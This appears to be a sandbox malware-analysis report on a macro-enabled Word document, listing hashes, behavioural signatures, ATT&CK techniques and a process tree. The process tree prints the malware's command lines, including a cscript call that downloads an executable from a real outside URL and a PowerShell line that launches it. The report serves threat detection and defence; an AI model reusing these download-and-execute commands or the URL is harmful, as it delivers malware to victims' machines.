3b9c6e35c90a3ef5f90cbecd6ad257d4d296832b00ef7dff00ecfabae4206559

General

Target

3b9c6e35c90a3ef5f90cbecd6ad257d4d296832b00ef7dff00ecfabae4206559.docm
Size

630KB
MD5

5bed84434cf10693e9928c949dc990ee
SHA1

2247d45b53195863c4361f81e4b7facfedb9f33b
SHA256

3b9c6e35c90a3ef5f90cbecd6ad257d4d296832b00ef7dff00ecfabae4206559
SHA512

a1dc22e6dad75603d096db8834012fb7b952126e908206650b261dd461cd098bd79b171d8374a80e89f53796b382a96f2f86b765fdabaa2b40f3283fd2e8b574

Score

10^/10

phishing

Malware Config

Signatures

Detected phishing page
phishing

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3024	4776	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

cscript.exe

flow pid process

27 1740 cscript.exe

flow	pid	process
27	1740	cscript.exe

Process spawned suspicious child process 1 IoCs

This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

Processes:

DW20.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	260	4776	DW20.EXE	WINWORD.EXE

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXEdwwin.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dwwin.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXEdwwin.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dwwin.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwwin.exe

Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 27 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4776 WINWORD.EXE
4776 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

WINWORD.EXEpowershell.exe

pid process

4776 WINWORD.EXE
4776 WINWORD.EXE
4776 WINWORD.EXE
4776 WINWORD.EXE
5004 powershell.exe
5004 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5004 powershell.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

WINWORD.EXE

pid process

4776 WINWORD.EXE
4776 WINWORD.EXE
4776 WINWORD.EXE
4776 WINWORD.EXE

description	flow	ioc
HTTP User-Agent header	27	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

pid	process
4776	WINWORD.EXE
4776	WINWORD.EXE

pid	process
4776	WINWORD.EXE
4776	WINWORD.EXE
4776	WINWORD.EXE
4776	WINWORD.EXE
5004	powershell.exe
5004	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5004	powershell.exe

pid	process
4776	WINWORD.EXE
4776	WINWORD.EXE
4776	WINWORD.EXE
4776	WINWORD.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WINWORD.EXEcmd.exeDW20.EXE

description	pid	process	target process
PID 4776 wrote to memory of 3024	4776	WINWORD.EXE	cmd.exe
PID 4776 wrote to memory of 3024	4776	WINWORD.EXE	cmd.exe
PID 4776 wrote to memory of 260	4776	WINWORD.EXE	DW20.EXE
PID 4776 wrote to memory of 260	4776	WINWORD.EXE	DW20.EXE
PID 3024 wrote to memory of 1740	3024	cmd.exe	cscript.exe
PID 3024 wrote to memory of 1740	3024	cmd.exe	cscript.exe
PID 260 wrote to memory of 4748	260	DW20.EXE	dwwin.exe
PID 260 wrote to memory of 4748	260	DW20.EXE	dwwin.exe
PID 3024 wrote to memory of 5004	3024	cmd.exe	powershell.exe
PID 3024 wrote to memory of 5004	3024	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3b9c6e35c90a3ef5f90cbecd6ad257d4d296832b00ef7dff00ecfabae4206559.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4776

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\DiskDrive\1\Volume\errorfix.bat
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3024

C:\Windows\system32\cscript.exe
cscript //nologo C:\DiskDrive\1\Volume\BackFiles\pinumber.vbs http://ventilator-aer.ro/wp-content/uploads/2020/02/0303/ginndoe.jp C:\DiskDrive\1\Volume\BackFiles\ZXTRTU.exe
3⤵
- Blocklisted process makes network request
PID:1740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -C Sleep -s 4;Saps 'C:\DiskDrive\1\Volume\BackFiles\ZXTRTU.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5004

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE
"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 4676
2⤵
- Process spawned suspicious child process
- Suspicious use of WriteProcessMemory
PID:260

C:\Windows\system32\dwwin.exe
C:\Windows\system32\dwwin.exe -x -s 4676
3⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:4748

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\DiskDrive\1\Volume\BackFiles\ZXTRTU.exe
Filesize
2KB

MD5
752b20d2159ddc689eb9deaa771a095b

SHA1
307772a0bed3fbf19166493cad7d305d30cb7b2a

SHA256
041ca869d8c500b245a1b32c330507351913f544e12f608b6d583eadb0f09507

SHA512
b1d1be1e050247951dc8b50bb625053ca2434d4db1e1f2d897238911d5068e88429ddccb373591b9d0d6bfdb4864d50853be0d8ab7044cecda954dfb7f67a76f

Download Submit
C:\DiskDrive\1\Volume\BackFiles\pinumber.vbs
Filesize
777B

MD5
aaa0e8aad75d0ff7247f8a389d9e1b1c

SHA1
1e735b3ddb654cbefaa0fff7c2d8c8812dbaaf16

SHA256
e1722cf4f9d9fff3e3b9bbc825c7d88256e8db18df1c125aeee6346a85ad1c3a

SHA512
a75327cfcfb27cf8ade0ded3191eb4129490792dbc5058424a552e492abc96e31806ddd99fc64797e0d46a6dc816c913e7ec4e07f99a6747166237328608f125

Download Submit
C:\DiskDrive\1\Volume\errorfix.bat
Filesize
2KB

MD5
45e1c5c5bdd874c41b6316b196533bf0

SHA1
e4cce2e1c47cb439116b5ace0e9a231b83c4c7c7

SHA256
f9c76220ad7a43ab310dec13c868a8ae55fac4328b5322ea4945e23323abe574

SHA512
185e5a7c77d5ce063180a97df0c09166b640adfd9e5fae0c18269f49101982b5b254cd9d92b7e15a8a6285bbc0b66a7ebb5e22f28ce867e141355c227e8ddd24

Download Submit
memory/260-150-0x00007FF83B290000-0x00007FF83B2A0000-memory.dmp

Filesize
64KB

Download
memory/260-140-0x0000000000000000-mapping.dmp

Download
memory/260-151-0x00007FF83B290000-0x00007FF83B2A0000-memory.dmp

Filesize
64KB

Download
memory/260-152-0x00007FF83B290000-0x00007FF83B2A0000-memory.dmp

Filesize
64KB

Download
memory/260-149-0x00007FF83B290000-0x00007FF83B2A0000-memory.dmp

Filesize
64KB

Download
memory/1740-145-0x0000000000000000-mapping.dmp

Download
memory/3024-138-0x0000000000000000-mapping.dmp

Download
memory/4748-147-0x0000000000000000-mapping.dmp

Download
memory/4776-133-0x00007FF83B290000-0x00007FF83B2A0000-memory.dmp

Filesize
64KB

Download
memory/4776-134-0x00007FF83B290000-0x00007FF83B2A0000-memory.dmp

Filesize
64KB

Download
memory/4776-132-0x00007FF83B290000-0x00007FF83B2A0000-memory.dmp

Filesize
64KB

Download
memory/4776-137-0x000002AE5F1F0000-0x000002AE5F1F4000-memory.dmp

Filesize
16KB

Download
memory/4776-130-0x00007FF83B290000-0x00007FF83B2A0000-memory.dmp

Filesize
64KB

Download
memory/4776-136-0x00007FF838D70000-0x00007FF838D80000-memory.dmp

Filesize
64KB

Download
memory/4776-135-0x00007FF838D70000-0x00007FF838D80000-memory.dmp

Filesize
64KB

Download
memory/4776-131-0x00007FF83B290000-0x00007FF83B2A0000-memory.dmp

Filesize
64KB

Download
memory/5004-153-0x0000000000000000-mapping.dmp

Download
memory/5004-154-0x0000023E77080000-0x0000023E770A2000-memory.dmp

Filesize
136KB

Download
memory/5004-155-0x00007FF85B7F0000-0x00007FF85C2B1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads